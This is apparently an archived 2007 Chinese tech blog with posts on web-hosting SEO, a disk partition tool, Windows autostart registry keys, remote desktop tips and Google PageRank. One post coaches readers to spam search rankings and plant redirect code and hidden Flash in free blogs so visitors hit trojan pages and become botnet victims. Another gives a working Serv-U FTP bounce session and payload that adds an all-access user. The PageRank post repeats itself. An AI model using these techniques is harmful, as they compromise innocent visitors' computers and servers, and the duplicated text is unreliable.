一个比较肯定的问题是:一个网站如果拥有独立的IP,那么这肯定会对提高网站排名会有很大的影响。尽管现在看起来没有那么重要了,因为现在有很多网站都是共享一个IP。在一台服务器上,很多服务并行运行,而且在一个IP上提供多个不同的域名。如果你经常上SEO论坛的话,你会发现无论是旧的还是新的贴子,都有很多是有关于主机与域名对网站排名的影响。
在一个便宜的服务器存放主页,这样可以降低成本,但是这些主机有可能是一个 SPAMMERS服务器,或者共享主机的其他网站曾经被惩罚过。这样的主机对我的网站的搜索引擎排名有影响吗?可以说是,但也可以说不是。从大范围内说是有一定的影响的,但从另一个角度来说又是没有影响的。下面我们来详细地说一下这个问题。
如果虚拟主机是共享一个IP,而google对主机进行了惩罚,IP也会被认为是spam,如果你的网站在该主机上的话,那么你的网站将会被ban或者惩罚。另一种情况是:你的网站也是居放在这台主机上而且是成年人内容,理论上,google也会对你的网站进行惩罚、去名。这样,你的网站就不能从这个主机上的黑名单上除名。如果你的网站的内容是合法的,这样你把网站移到另一个身家清白的主机上,那么你就可以幸免。
一个合适的主机应该是100%正常运行的,这样你的访问者就不会访问到空白的页面。同样道理,搜索引擎的蜘蛛是不定期地来访问你的网站的。所以你的网站在任何时候都必须正常工作,以此来取得蜘蛛的欢心。尽管googlebot遇到404错误时,下次还是会再来访问。但是为了安全起见,你的主机必须100%地正常工作。不错!所有的服务器为了保养都会进行暂时的中断,但是他们应该在特定的时间内通知他们的客户他们的保养计划。如果没有明确规定,那么,我建议你换个服务器提供商好了。这是非常重要的,因为google会每天都会小幅度地爬你的网站,一个月进行一次大的索引。也就是说goooglebot有可能随时来访问你的网站。所以你的网站应该随时准备欢迎这位客人。
清除记录
google 应该拥有你的主机的好的、清白的记录(但是这并没有证据表明,只是一个猜想)。尽管如此,但是有一个这样的提示:受欢迎的服务器提供商比那些三教九流的要好。例如:X公司是提供非常好与合理的服务,但是在主机上的一个网站在对Altavista存在着一个优化的问题,因为这个网站曾经被AV清除了。所以,你的网站有可能错过来自著名搜索引擎的一些流量,但是对于一个著名的服务器提供商来说这样的情况很少。
虚拟主机共享IP
虚拟IP是多个不同的域名在同一服务器内使用同一个IP的系统。与一台电脑作为一个服务器相比,多个虚拟主机会存在于同一台服务器上。一些WEB服务器中有 2000个域名共享一个IP地址的情况。这主要取决于服务器的性能与服务器提供商的服务质量。在这种情况下,向搜索引擎提供网页变得非常缓慢。尽管虚拟主机较便宜、功能较少,但是对于多数的引擎来说,尤其是google。不会由于虚拟主机里的一个网站的作弊而对虚拟主机里的所有网站进行惩罚(这是 google人发表的言论)。---事实上,google对存放在虚拟主机上的网站与处理独立主机独立IP的网站是一样处理的。如果你的服务器提供商技术完善的话,那么你将会感觉不到两者的差别。我们也会经常地看到一小部分的服务器提供商在处理虚拟主机上会出现这样或者那样的错误码。这充分地表明, google是不会对那些设置完善的虚拟主机进行连带惩罚的(即一个网站受到惩罚,其他网站也会受到拖累)。
智能域名的选项择
域名的选择必须非常谨慎、灵活。如果你的服务主要是集中在本地市场的话。例如:你的中国的,那么,你应该选择国内的域名。如.cn等。但是如果你的服务是面对全球市场的话那么.com才是明智的选择。域名的选择也会直接影响到你网站在google上的网站排名。也就是说,如果你的网站是国内商店,那么如果你选择国内域名的话那比一个.uk的域名占据着更大的优势。---
URL结构
提供合适的URL同样是很重要的。如静态与动态的分别,URL是否包含关键字的分别,详细可参考本站有关资料。
总结:主机不是搜索引擎优化中最大的关键,但是却起着不可忽略的作用。主机会由于内容的因素而受到google的惩罚, 这些小细节对你更深一步的搜索引擎优化起着非常重要的作用。
星期四, 五月 31, 2007
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SEO研究:主机对网站排名的影响 |
星期三, 五月 30, 2007
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利用搜索排名作弊抓肉鸡 |
菜鸟朋友都为肉鸡而发愁,自己搞不到站,没地方去挂马,所以今天我教大家用关键词来偷IP。就是在自己站上挂马的道理,而且每天会有固定的肉鸡上线,好了,废话不说了。
说下大概意思。掌握了一些关键词的排名就等于掌握了IP流量,如果是自己的玉米和空间的话那可以直接在首页放上木马,而且不用象其他网站一样,需要回头客,我们只是让那些搜索此关键词的人中一次马就OK了。
搞搜索作弊的人都喜欢用免费的blog来做,主要原因有三个,1是这类玉米一般情况不容易被baidu,google之类的搜索站封掉,因为他们要封就必须得封主玉米,不可能只封二级或三级玉米。2是一般blog的pr值比较大,有利于我们实施blog作弊。3是一般象提供免费blog服务的大站都会把刚更新内容的blog放到首页的地方,不但增加了外部连接,容易让搜索察觉到,而且还会带来一定的IP。
现在先说下blog的利用方法,然后再讲下具体怎样作弊。
一般免费的blog都可以编辑css,然后在其中加入代码:
《meta equiv="refresh" content="0;url="http://www.hackbase.com/"》 (《》换成<>)就直接会跳转到xxxx.com这个站点。
但是有很多自己写的blog系统不支持编辑css式样,我们可以事先做一个flash文件,这个flash文件用geturl功能转向一个网页,然后把这个flash传到你的空间,再加到blog首页文章的某个地方,可以把高和宽都设置成0。理论上是这样,但好像sohu的免费blog这个效果不太明显,我试了下,对于sohu的blog我们可以在个人资料那里加入代码
《embed style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; HEIGHT: 3px; TEXT-ALIGN: center" src="http://www.hackbase.com/flash.swf" width="400" height="1" type="application/x-shockwave-flash" autostart="false" loop="false">《/EMBED》 (《》换成<>)
把我们的flash加进去,网页读取到这个地方的时候会自动运行flash,然后跳转。
sina的免费blog在友情连接说明的地方没有过滤代码,导致我们可以直接加跳转代码进去,
网页读取到友情连接的地方自动跳转,这个漏洞好像现在还能用。
blog跳转的以上方法基本上可以对付常见的blog系统了。
下来我们来大概讲下如何搜索排名作弊,搜索作弊是门高深的技术,这里我只是对于菜鸟而言大概说下最简单有效的方法。网上有很多作弊的ASP,PHP代码,大家可以参照下,这里我对于菜鸟朋友说些简单的方法。
首先你要先确定你要搞排名的关键词,不要选太热门的,如电影,qq代码什么的,我们可以选一些当前流行,而没有大站用的关键词,比如八荣八耻,腾讯被黑之类的,因为毕竟我们再怎么作弊要想排到大站前面基本上很困难,冷门的关键词特别好做,我做了好多都排到了前三名,虽然冷门,但每天也可以带来几千IP的流量,对于我们抓肉鸡已经足够了。那么作弊怎么去实施呢。
1,增加外部连接。就是别的网页对你地址的连接,让搜索读取你连接的次数越多越好,这个我通常用一些论坛,留言本群发之类的东西,效果特别明显,连接到pr值大的站更好,也可以增加你站的pr值,从大站来的流量就不说了,也可以去一些自助,连接的站自己去加上自己的连接,baidu链,263之类的站。
2。堆积关键字。关键字不要太多,多在自己网页上重复,最好再用tool.dvbbs.net上面的工具查下你的关键词占网页的比例,适当就行。如果是自己做的站的话最好首页是静态页面,然后在在代码中的title(标题)Description(关键词描述)和Keywords(关键词)都重复上几遍,记着搜索站一般比较喜欢html之类的静态页面,所以如果是用web程序,最好选前台生成htm的。然后可以加入一些作弊的代码,如果不嫌麻烦的话可以在每个分页都加。
在这之前我们最好把站弄的正规些,然后去大的搜索站提交一下,等收录之后你可以再放些垃圾信息,这样收录的会早些。这些都是最简单的快速增加排名的方法。
然后我们要做的事就是等,一般15天到30天后你会发现你的站突然流量猛增,选个好的网马,等着收肉鸡,如果需要某些地方的肉鸡,就可以把关键词想成某个地方人群性的。
没技术含量,只是提供一种思路,自己去想
星期二, 五月 29, 2007
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DM分区软件使用详解 |
硬盘分区是我们曰常维护中必须掌握的一个基本知识,随着大容量硬盘的出现,Fdisk的缺点逐渐显示在我们面前。在分区时,Fdisk已经不能对容量在120G以上的硬盘进行分区操作,而且在对大容量硬盘进行分区操作时,Fdisk的速度让我们难以忍受。
DM分区软件的出现,解决了这一操作难题,DM最明显的一个特点就是分区速度快,运行多种分区格式。DM虽然问世很久了,并且有很多人在使用,由于分区对新来来说,毕竟是一项高难度的工作,而且DM满脸英文面孔,又增加了学习这个软件的难度。
目前世面上Windows 98无忧启动盘中,已经附带了DM分区软件。如果没有此软件,可以到网上下载,下载后,将软件放在启动盘中,启动机器后,运行DM就进入了DM分区软件的主菜单(如图一)。
选择菜单可以使用键盘上的四个方向键(↑→↓←),或者直接点一下开头的键。如图一中,我们要进入Easy Disk Installation菜单,可以直接接一下E。
一、Easy Disk installatin:硬盘自动分区选项,此项为DM提供的硬盘自动分区选项。选择此选项后,DM会根据你的硬盘容量,自动进行分区操作。此功能适用于初学者,由于自动分区无法按照我们的要求对硬盘进行分区,因此一般很少使用该功能。
二、Advanced Options:高级选项,此选项为DM提供的手动分区高级选项。选择此功能菜单,然后会出现一个二级子菜单(如图二)。
二级子菜单共有三个选项,这三个选项的功能分别是:Advanced Disk Installation的功能是硬盘分区高级选项;Maintenance Options的功能是维护选项;Upgrade Disk Manager的功能是根据你硬盘的物理参数修改升级DM中的硬盘驱动程序ONTRACKD.SYS,以及当你的硬盘(仅限于IBM)容量大于8.4G且主板BIOS不能识别时把驱动程序装入硬盘使系统能识别8.4G以上的硬盘。
三、分区操作实例:
1、选择Advanced Disk Installation选项,DM会自动搜索计算机中的所有硬盘,如果你的计算机只有一个硬盘,直接接回车后,系统会提示使用哪种分区格式,NTFS、FAT32还是FAT格式的分区,我们根据需要选择一种分区格式就可以了。确认使用哪种分区格式后,系统还会要求确认。
2、进行分区大小选择如图三
由于我们要自己设置每个分区的大小,因此前两个自动分区的选项不予考虑,直接选择Option(C)Define your own手动对硬盘进行分区。
3、设置每个分区大小如图四
我们首先输入主分区的容量大小,然后依次输入每个逻辑分区的容量大小就可以了。这里需要注意,与Fdisk不同的是没有建立扩展分区这一选项。
4、保存分区信息:
完成上面的分区操作后,就可以选择Save and Continue选项,保存上面的分区信息,系统仍旧会提示确认。如果对哪一个分区容量不满意,可以按Del键删除分区后,重新建立分区。
5、格式化分区:
保存分区信息后,按Alt+C继续操作,系统会提示是否对硬盘的各分区进行快速格式化,我们选择Y对各分区进行快速格式化,系统仍旧会提示确认格式化操作。
6、完成分区操作:
所有的操作完成后,系统会提示重新启动计算机。所有分区操作,在重新启动计算机会生效。这里需要注意,格式化完成后,如果不出现重新启动计算机的提示,请不要重新启动计算机,否则可能会引起分区操作无效。
四、DM的高级功能
你只需要在主窗口中按“Alt+M”进入其高级菜单。你会发现里面多出了一些选项,如图五
Edit/View Partitions(编辑/查看磁盘分区)、Format/Check Partitions(格式化/检查磁盘分区)、Maintenance Options(维护选项)、CMOS Options(CMOS选项)、View/Print Online Manaual(查看/打印在线帮助)、Exit Disk Manager(退出DM)。
在这些高级功能中,我们需要了解维护选项和CMOS选项的部分功能。
1、Maintenance Options(维护选项):
在维护选项中,我们可以对硬盘进行低级格式化,进入Maintenance Options(维护选项)后,选择Utilities(实用工具)后,系统会提示选择硬盘。选择硬盘后,出现一个Select Utility Option(选用实用工具选项)对话框,该对话框有2个选项:
Zero Fill Drive 对硬盘的一个扇区写零,这将擦去硬盘中的所有数据。
Low Level Format 硬盘低级格式化,选定后,在出现的对话框中按Alt+C键即可开始对硬盘进行低级格式化操作。
2、CMOS Options(CMOS选项)
用来自动或手动更改CMOS硬盘类型。这个选项只能修改CMOS中的硬盘类型,我们可以利用这个功能,破坏CMOS信息,达到破坏BIOS密码的操作。因为CMOS信息被破坏后,部分版本的CMOS密码就会被破坏,但不适合于所有版本的CMOS。
DM其他高级功能,留给大家自己去发现。
星期一, 五月 28, 2007
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Windows系统自动启动程序十大藏身之所 |
Windows启动时通常会有一大堆程序自动启动。不要以为管好了“开始→程序→启动”菜单就万事大吉,实际上,在Windows XP/2K中,让Windows自动启动程序的办法很多,下文告诉你最重要的两个文件夹和八个注册键。
一、当前用户专有的启动文件夹
这是许多应用软件自动启动的常用位置,Windows自动启动放入该文件夹的所有快捷方式。用户启动文件夹一般在:\Documents and Settings\<用户名字>\「开始」菜单\程序\启动,其中“<用户名字>”是当前登录的用户帐户名称。
二、对所有用户有效的启动文件夹
这是寻找自动启动程序的第二个重要位置,不管用户用什么身份登录系统,放入该文件夹的快捷方式总是自动启动——这是它与用户专有的启动文件夹的区别所在。该文件夹一般在:\Documents and Settings\All Users\「开始」菜单\程序\启动。
三、Load注册键
介绍该注册键的资料不多,实际上它也能够自动启动程序。位置:HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load。
四、Userinit注册键
位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,如图一,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。
五、Explorer\Run注册键
和load、Userinit不同,Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有,具体位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run。
六、RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。RunServicesOnce注册键的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce,和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce。
七、RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。RunServices的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices,和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices。
八、RunOnce\Setup注册键
RunOnce\Setup指定了用户登录之后运行的程序,它的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup,和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup。
九、RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce和HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce。HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前。HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP,你还需要检查一下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx。
十、Run注册键
Run是自动运行程序最常用的注册键,位置在:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run。HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。
星期六, 五月 26, 2007
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Serv-U的反弹攻击及其利用 |
FTP反弹攻击(FTP Bounce Attack)是很古老的技术了,居然能在我们的信息安全教材上找得到介绍,可见其确实年代久远。
所谓FTP反弹攻击就是利用FTP协议的PORT命令将数据发送到第三方,这样就可以利用FTP服务器实现对其他机器的端口扫描和发送数据了。由于这种攻击的存在,所以FTP服务器一般都限制了PORT命令的ip地址为客户端ip且端口大于1024。
现在比较流行的FTP软件Serv-U默认情况下(似乎?)却没有限制FTP Bounce攻击,造成安全隐患。
以下是对有限制的Serv-U进行反弹攻击:
220-欢迎光临lake2的blog
user lake2
331 User name okay, need password.
pass xxxxxxxxx
230 User logged in, proceed.
port 127,0,0,1,171,182
530 Only client IP address allowed for PORT command.
失败了,因为管理员在设置那里勾上了“拦截FTP Bounce攻击”。
但是,一些Serv-U却可以实现反弹(默认情况下没有阻止FTP Bounce):
220-欢迎使用本虚拟主机.
user 0x54.org
331 User name okay, need password.
pass xxxxxxxxxxxx
230 User logged in, proceed.
port 127,0,0,1,171,182
200 PORT Command successful.
list
150 Opening ASCII mode data connection for /bin/ls.
226-Maximum disk quota limited to 204800 kBytes
Used disk quota 81766 kBytes, available 123033 kBytes
226 Transfer complete.
port 127,0,0,1,171,183
200 PORT Command successful.
list
150 Opening ASCII mode data connection for /bin/ls.
426-Maximum disk quota limited to 204800 kBytes
Used disk quota 81766 kBytes, available 123033 kBytes
426 Data connection closed, transfer aborted.
命令“port 127,0,0,1,171,182”就是把数据发送到FTP服务器的43958(171*256+182=43958)端口,因为该端口是开放的,所以数据发送成功;第二次把数据发送到43959端口,该端口关闭,所以发送失败。根据返回的结果,就实现了端口扫描(由于限制,只能扫描大于1024的端口)。大名鼎鼎的扫描器NMAP就有利用FTP反弹实现端口扫描的功能。
利用反弹攻击也可以发送任意数据,把要发送的数据写到文件中然后RETR就行了。既然可以发送任意数据,当然包括向43958端口发送添加有执行权限的FTP用户的命令咯。这真是个令人兴奋的主意。
以下内容保存为test.txt并传到FTP根目录:
user LocalAdministrator
Pass #l@$ak#.lk;0@P
SITE MAINTENANCE
-SETUSERSETUP
-IP=0.0.0.0
-PortNo=21
-User=lake
-Password=admin123
-HomeDir=c:
-LoginMesFile=
-Disable=0
-RelPaths=1
-NeedSecure=0
-HideHidden=0
-AlwaysAllowLogin=0
-ChangePassword=0
-QuotaEnable=0
-MaxUsersLoginPerIP=-1
-SpeedLimitUp=0
-SpeedLimitDown=0
-MaxNrUsers=-1
-IdleTimeOut=600
-SessionTimeOut=-1
-Expire=0
-RatioUp=1
-RatioDown=1
-RatiosCredit=0
-QuotaCurrent=0
-QuotaMaximum=0
-Maintenance=None
-PasswordType=Regular
-Ratios=None
Access=c:|RWAMELCDP
然后retr test.txt,添加用户的数据就发过去了。
每次都莫名其妙的添加失败,后来试验多次才发现是由于数据发送太快43958端口那边还没来得及响应连接就就关闭了。解决办法是在test.txt文件前面添加许多无用数据,当文件达到1M多的时候,哈哈,成功了!
以上是在5.2版本的情况,但在6.3版本上,情况不妙,43958端口限制了接收数据大小,几十K都不行了,何况一个1M的大文件呢。
这个地方一直没想到好的解决办法,似乎有两点思路供参考:
1、 上传/下载大文件,降低其处理速度
2、 对FTP服务器进行拒绝服务攻击,消耗资源降低处理速度
星期五, 五月 25, 2007
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3389远程控制实用技巧 |
技巧1:查看或控制终端用户的操作界面
根据我的经验,在众多的远程控制、远程管理软件中,微软的终端服务是速度最快的,不过终端服务也有一个很不人性化的地方,就是在默认情况下,我们是看不到终端用户的操作界面的,这在某些场合很不方便,比如你想在进行远程操作的同时也让对方能够看到你的操作界面,但终端服务下他是看不到的,其实,可以通过一些手段让对方看到远程操作的。过程如下(假设你已经从A登录到了终端服务器T):
1. 对方直接在终端服务器上使用终端服务客户端登录终端服务器(或者从另一台机器登录服务器T也可以),进入命令行窗口;
2. 运行“query session”命令,如图1所示,找出A会话的会话ID,这里是1,当前会话前有一个“>?/SPAN>标志,Console会话表示控制台。
3. 运行“shadow 会话ID号”,由于上面的A会话ID是1,所以这里命令就是“shadow 1。
4. 此时A的终端服务界面会出现一个远程控制请求的对话框,如果A同意了请求,那么就可以远程控制和查看A的会话了,此时A仍能随意进行操作,如果要退出查看A的会话,只需按CTRL+*(小键盘上的)即可。注意控制台会话既不能远程控制另一会话,也不能由另一会话远程控制。
技巧2:在客户端和终端服务器之间拷贝文件
经常使用微软的终端服务进行远程管理,但也经常遇到一个麻烦,那就是有时需要在服务器与客户端之间拷贝某个文件,而微软的终端服务却没有这个功能,所以不得不采取其它麻烦的方法来交流文件,不过只要有了TSDropcopy,我们就可以随意在两端拷贝文件了。你可以从http://www.analogx.com/contents/download/system/tsdc.htm下载TSDropcopy,需要把它分别安装在终端服务器和客户端上。
在使用TSDropcopy之前,需要先进行配置,从程序菜单中运行它,右击系统托盘区的TSDropcopy图标,选择Configure项。
勾选上Auto Start项,以便开机就能运行,为了提高效率,我们也可以选择上“enable sendto”项,这样TSDropcopy将出现在“发送到”菜单中。在“select default path”选择收到文件的保存地,我把它设置为桌面路径。TSDropcopy的使用很简单,双击系统托盘区的图标,出现一个文件传输窗口,把要拷贝的文件拖放到窗口就行了,另外你也可以右击要拷贝的文件,然后选择“发送到TSDropcopy”。TSDropcopy方便了终端服务两端文件的拷贝,如果要在二者之间拷贝一些文件中的文字或图片(比如一个WORD文档中的图片或文字),可以直接使用剪贴板,也就是说一边的剪贴板拷贝另一边也可以使用。要使用剪贴板拷贝,请确保剪贴板映射没有被禁用,配置路径是 “终端服务配置/连接/默认连接/属性窗口/客户端设置” 标签。
技巧3:远程关闭终端服务器
如果要远程关掉终端服务器,可能大家通常都是直接使用开始菜单中的关机功能,但这种方式在关机时不会向终端用户发送消息,所以大家可以使用“tsshutdn”命令,比如我要在15秒内关掉终端服务器,就可以直接使用下面的命令:
Tsshutdn 15 /powerdown
要取消关机可以按CTRL+C组合键。
技巧3:查看所有终端服务客户端运行的程序
有时服务器管理员可能想了解现在到底有多少用户在登录终端服务器,这些用户到底在运行些什么程序,这时可以使用Query系列命令,有“query process”,“query session”,“query user”等,分别是查看进程、会话和用户的。另外要向客户端发送消息,可以使用msg命令
星期四, 五月 24, 2007
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如何提高网站的Google PR值 |
无论是对普通网络冲浪者还是网站管理员来说,Google都是目前世界范围内最受欢迎的搜索引擎。它每天处理的搜索请求高达1.5亿次,几乎占全球所有搜索量的1/3。网络冲浪者对Google情有独钟,是由于Google所提供的快速搜索速度及高命中率搜索结果。这些都是基于Google的复杂文本匹配运算法则及其搜索程序所使用的Pagerank系统(网页级别技术)。下面我们将向大家介绍Google的Pagerank系统。
Google之所以受网站管理员和Internet媒体服务公司的欢迎,是由于它并非只使用关键词或代理搜索技术,而是将自身建立在高级的网页级别技术基础之上。别的搜索引擎提供给搜索者的是多种渠道得来的一个粗略的搜索结果,而Google提供给它的搜索者的则是它自己产生的高度精确的搜索结果。这就是为什么网站管理员会千方百计去提高自己网站在Google的排名。
Google大受青睐的另一个原因就是它的网站索引速度。向Google提交你的网站直到为Google收录,一般只需两个星期。如果你的网站已经为Google收录,那么通常Google会每月一次遍历和更新(重新索引)你的网站信息。不过对于那些PR值(Pagerank)较高的网站,Google索引周期会相应的短一些。 Google的索引/重新索引周期比大多数搜索引擎要短。这就允许网站管理员可以对网站的页面属性进行编辑修改,如网页标题、头几行文字内容、大字标题、关键字分布,当然了还有外部链接的数量。然后他们很快就可以发现对网页所做的这些更改是否成功。
正因为Google如此受欢迎,你有必要知道Google的搜索引擎是如何工作的。如果不知道它是怎样决定你的排名,那么那些只是稍微熟悉Google排名运算法则的站点都会比你的排名位置要靠前。现在让我们来看一下Google的排名运算法则。
Google的排名运算法则主要使用了两个部分,第一个部分是它的文字内容匹配系统。Google使用该系统来发现与搜索者键入的搜索词相关的网页;第二部分也是排名运算法则中最最重要的部分,就是Google的专利网页级别技术(Pagerank?)。
我先来介绍一下如何使网站具有相关性,即文本内容匹配部分的运算法则:在搜索网站的关键字时,Google会对其标题标签(meta title)中出现的关键字给予较高的权值。所以你应当确保在你网站的标题标签中包含了最重要的关键词,即应围绕你最重要的关键词来决定网页标题的内容。不过网页的标题不可过长,一般最好在35到40个字符之间。众所周知,Google并不使用元标签(Meta Tags)如关键字或描述标签。这是由于在这些元标签中所使用的文字并不能为实际的访问者所看到。而且Google认为,这些元标签会被某些网站管理员用于欺诈性地放置一些与其网站毫不相干的热门关键词,并以此提高其网站对该不相干关键词的排名,从而以不正当的手段获得更多的访问者。
这种不支持Meta Tags的特性,意味着Google将从一个网页的头几行文字内容来生成对一个网站的描述。也就是说,你最好把你的关键字或关键短语放到网页的上方,这样如果Google找到它们,就会相应提高你网站的相关性。一旦Google找不到这样相关的内容,那么你要花费很大的力气来让你页面的其它部分具有相关性。
在决定一个网站的相关性时,Google也会考虑网页中正文内容的关键字密度Keyword Density),所以你要确保在你的整个网页中贯穿出现了若干次关键词和关键短语。但是要记住"过犹不及",6-10%的关键词密度为最佳。
增加页面相关性的其它策略还包括:在标题内容中放入关键词,并尽可能对内容中出现的关键词进行加粗。Google现在也索引图片的ALT属性文字并计入相关性计算。所以在你的ALT属性中应包含关键词,来增加网站的相关性得分。
增加页面相关性的最后一个技巧就是使你网站上的外部文字链接包含你的关键字。在外部文字链接中包含关键字可有效提高你的网站相关性得分(Google在其PageRank技术的描述中,亦提及在计算网页级别时会对该网站的外部链接进行分析并计入相关性)。
在文字链接中应该包含多少关键字?这是个见仁见智的问题。不过我注意到有很多网站在他们的交换链接区域,已经提供了相应的文字链接内容。例如:"欢迎进行友情链接,并请使用如下代码建立至本网站的链接。"
上面我们介绍了Google如何计算网站的相关性,及如何增加网站相关性的一些有关知识。不过Google究竟使用什么方法来衡量一个网站的好坏呢?答案就是-Google的agerank?系统。
PageRank取自Google的创始人LarryPage,它是Google排名运算法则(排名公式)的一部分,用来标识网页的等级/重要性。级别从1到10级,10级为满分。PR值越高说明该网页越受欢迎(越重要)。例如:一个PR值为1的网站表明这个网站不太具有流行度,而PR值为7到10则表明这个网站非常受欢迎(或者说极其重要)。
在计算网站排名时,PageRank会将网站的外部链接数考虑进去。我们可以这样说:一个网站的外部链接数越多其PR值就越高;外部链接站点的级别越高(假如Macromedia的网站链到你的网站上),网站的PR值就越高。例如:如果ABC.COM网站上有一个YZ.COM网站的链接,那么ABC.COM网站必须提供一些较好的网站内容,从而Google会把来自XYZ.COM的链接作为它对ABC.COM网站投的一票。你可以下载和安装Google的工具条来检查你的网站级别(PR值)。
那么是不是说,一个网站的外部链接数越高(获得的投票越多), 这个网站就越重要,因而在用与其相关的关键词进行搜索时,它就会取得更高的排名呢?--大错特错。
Google对一个网站上的外部链接数的重视程度并不意味着你因此可以不求策略地与任何网站建立连接。这是因为Google并不是简单地由计算网站的外部链接数来决定其等级。要是那样的话,所有网站管理员就只剩一件事情可做了-疯狂交换链接,尽可能获得最多的外部链接。Google是这样描述的:"Google不只是看一个网站的投票数量,或者这个网站的外部链接数量。同时,它也会对那些投票的网站进行分析。如果这些网站的PR值比较高(具有相当重要性),则其投票的网站可从中受益(亦具有重要性)。 无论是对普通网络冲浪者还是网站管理员来说,Google都是目前世界范围内最受欢迎的搜索引擎。它每天处理的搜索请求高达1.5亿次,几乎占全球所有搜索量的1/3。网络冲浪者对Google情有独钟,是由于Google所提供的快速搜索速度及高命中率搜索结果。这些都是基于Google的复杂文本匹配运算法则及其搜索程序所使用的Pagerank系统(网页级别技术)。下面我们将向大家介绍Google的Pagerank系统。
Google之所以受网站管理员和Internet媒体服务公司的欢迎,是由于它并非只使用关键词或代理搜索技术,而是将自身建立在高级的网页级别技术基础之上。别的搜索引擎提供给搜索者的是多种渠道得来的一个粗略的搜索结果,而Google提供给它的搜索者的则是它自己产生的高度精确的搜索结果。这就是为什么网站管理员会千方百计去提高自己网站在Google的排名。
Google大受青睐的另一个原因就是它的网站索引速度。向Google提交你的网站直到为Google收录,一般只需两个星期。如果你的网站已经为Google收录,那么通常Google会每月一次遍历和更新(重新索引)你的网站信息。不过对于那些PR值(Pagerank)较高的网站,Google索引周期会相应的短一些。 Google的索引/重新索引周期比大多数搜索引擎要短。这就允许网站管理员可以对网站的页面属性进行编辑修改,如网页标题、头几行文字内容、大字标题、关键字分布,当然了还有外部链接的数量。然后他们很快就可以发现对网页所做的这些更改是否成功。
正因为Google如此受欢迎,你有必要知道Google的搜索引擎是如何工作的。如果不知道它是怎样决定你的排名,那么那些只是稍微熟悉Google排名运算法则的站点都会比你的排名位置要靠前。现在让我们来看一下Google的排名运算法则。
Google的排名运算法则主要使用了两个部分,第一个部分是它的文字内容匹配系统。Google使用该系统来发现与搜索者键入的搜索词相关的网页;第二部分也是排名运算法则中最最重要的部分,就是Google的专利网页级别技术(Pagerank?)。
我先来介绍一下如何使网站具有相关性,即文本内容匹配部分的运算法则:在搜索网站的关键字时,Google会对其标题标签(meta title)中出现的关键字给予较高的权值。所以你应当确保在你网站的标题标签中包含了最重要的关键词,即应围绕你最重要的关键词来决定网页标题的内容。不过网页的标题不可过长,一般最好在35到40个字符之间。众所周知,Google并不使用元标签(Meta Tags)如关键字或描述标签。这是由于在这些元标签中所使用的文字并不能为实际的访问者所看到。而且Google认为,这些元标签会被某些网站管理员用于欺诈性地放置一些与其网站毫不相干的热门关键词,并以此提高其网站对该不相干关键词的排名,从而以不正当的手段获得更多的访问者。
这种不支持Meta Tags的特性,意味着Google将从一个网页的头几行文字内容来生成对一个网站的描述。也就是说,你最好把你的关键字或关键短语放到网页的上方,这样如果Google找到它们,就会相应提高你网站的相关性。一旦Google找不到这样相关的内容,那么你要花费很大的力气来让你页面的其它部分具有相关性。
在决定一个网站的相关性时,Google也会考虑网页中正文内容的关键字密度Keyword Density),所以你要确保在你的整个网页中贯穿出现了若干次关键词和关键短语。但是要记住"过犹不及",6-10%的关键词密度为最佳。
增加页面相关性的其它策略还包括:在标题内容中放入关键词,并尽可能对内容中出现的关键词进行加粗。Google现在也索引图片的ALT属性文字并计入相关性计算。所以在你的ALT属性中应包含关键词,来增加网站的相关性得分。
增加页面相关性的最后一个技巧就是使你网站上的外部文字链接包含你的关键字。在外部文字链接中包含关键字可有效提高你的网站相关性得分(Google在其PageRank技术的描述中,亦提及在计算网页级别时会对该网站的外部链接进行分析并计入相关性)。
在文字链接中应该包含多少关键字?这是个见仁见智的问题。不过我注意到有很多网站在他们的交换链接区域,已经提供了相应的文字链接内容。例如:"欢迎进行友情链接,并请使用如下代码建立至本网站的链接。"
上面我们介绍了Google如何计算网站的相关性,及如何增加网站相关性的一些有关知识。不过Google究竟使用什么方法来衡量一个网站的好坏呢?答案就是-Google的agerank?系统。
PageRank取自Google的创始人LarryPage,它是Google排名运算法则(排名公式)的一部分,用来标识网页的等级/重要性。级别从1到10级,10级为满分。PR值越高说明该网页越受欢迎(越重要)。例如:一个PR值为1的网站表明这个网站不太具有流行度,而PR值为7到10则表明这个网站非常受欢迎(或者说极其重要)。
